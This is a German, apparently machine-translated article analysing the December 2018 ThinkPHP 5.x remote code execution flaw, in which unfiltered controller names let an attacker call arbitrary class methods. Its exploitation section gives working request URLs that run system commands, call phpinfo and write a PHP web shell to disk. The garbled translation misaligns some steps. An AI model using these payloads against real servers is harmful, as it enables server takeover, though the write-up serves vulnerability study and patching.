Heim > Artikel > PHP-Framework > Analyse und Reproduktion von Sicherheitslücken bei der Remote-Befehlsausführung in ThinkPHP 5.x
0x00 Vorwort
ThinkPHP hat am 9. Dezember 2018 offiziell ein wichtiges Sicherheitsupdate veröffentlicht, das eine schwerwiegende Sicherheitslücke bei der Remotecodeausführung behebt. Bei diesem Update handelt es sich hauptsächlich um ein Sicherheitsupdate. Da das Framework keine ausreichende Erkennung des Controller-Namens durchführt, führt es zu einer möglichen Getshell-Sicherheitslücke, wenn die erzwungene Weiterleitung nicht aktiviert ist. Dies wird empfohlen Aktualisieren Sie so schnell wie möglich auf die neueste Version.
0x01 Umfang der Auswirkung
5.x
0x02 Schwachstellenanalyse
Thinkphp v5.0.x Patch-Adresse: https://github.com/top-think/framework/com...
Thinkphp v5. 1.x-Patch-Adresse: https://github.com/top-think/framework/com...
Der Controller-Teil der Routing-Informationen wurde gefiltert gesehen, dass das Problem im Routing
Schlüsselcode während der Planung auftritt:
Vor dem Fix hat das Programm den Controller nicht gefiltert, sodass Angreifer anrufen können beliebige Klassenmethoden durch Einführung von Symbolen.
Die $this->app->controller-Methode wird zum Instanziieren des Controllers verwendet und ruft dann die Methode in der Instanz auf. Führen Sie anschließend die Controller-Methode aus:
Verwenden Sie die Methode parseModuleAndClass, um $module und $class zu analysieren und dann $class zu instanziieren.
Wenn in der parseModuleAndClass-Methode $name mit einem Backslash beginnt, wird dieser direkt als Klassenname verwendet. Unter Ausnutzung der Eigenschaften des Namespace können Sie jede Klasse instanziieren, wenn Sie hier den $-Namen (also den Controller-Teil der Route) steuern können.
Als nächstes werfen wir einen Blick zurück auf den Routing-Parsing-Code. Die Methode route/dispatch/Url.php:: parseUrl ruft route/Rule.php:: parseUrlPath auf, um die Routing-Informationen in pathinfo zu analysieren.
Der Code ist relativ einfach use / Teilt $url ohne Filterung.
Die Routen-URL wird von Request::path () abgerufen
Da die Standardkonfiguration von var_pathinfo s ist, können wir $_GET ['s verwenden '] Um Routing-Informationen zu übergeben, können Sie auch pathinfo zum Übergeben verwenden, aber während des Tests ersetzt die Windows-Umgebung $_SERVER ['pathinfo'] durch /. In Kombination mit der vorherigen Analyse kann der vorläufige Nutzungscode wie folgt abgerufen werden: index.php?s=index/namespaceclass/method, der die Namespaceclass-Klasse instanziiert und die Methodenmethode ausführt.
0x03-Schwachstellenausnutzung
Quellcode der Docker-Schwachstellenumgebung: https://github.com/vulnspy/thinkphp-5.1.29
Lokale Umgebung: thinkphp5.0.15+php5.6n+ Apache2.0
http://www.thinkphp.cn/donate/download/id/...
1. Verwenden Sie die Systemfunktion, um Remote-Befehle auszuführen
2. Schreiben Sie die Informationen von phpinfo () über die phpinfo-Funktionhttp://localhost:9096/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami3. Schreiben Sie Shell:
http://localhost:9096/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1oder
http://localhost:9096/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_GET[%22code%22])?^%3E%3Eshell.php
Das obige ist der detaillierte Inhalt vonAnalyse und Reproduktion von Sicherheitslücken bei der Remote-Befehlsausführung in ThinkPHP 5.x. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!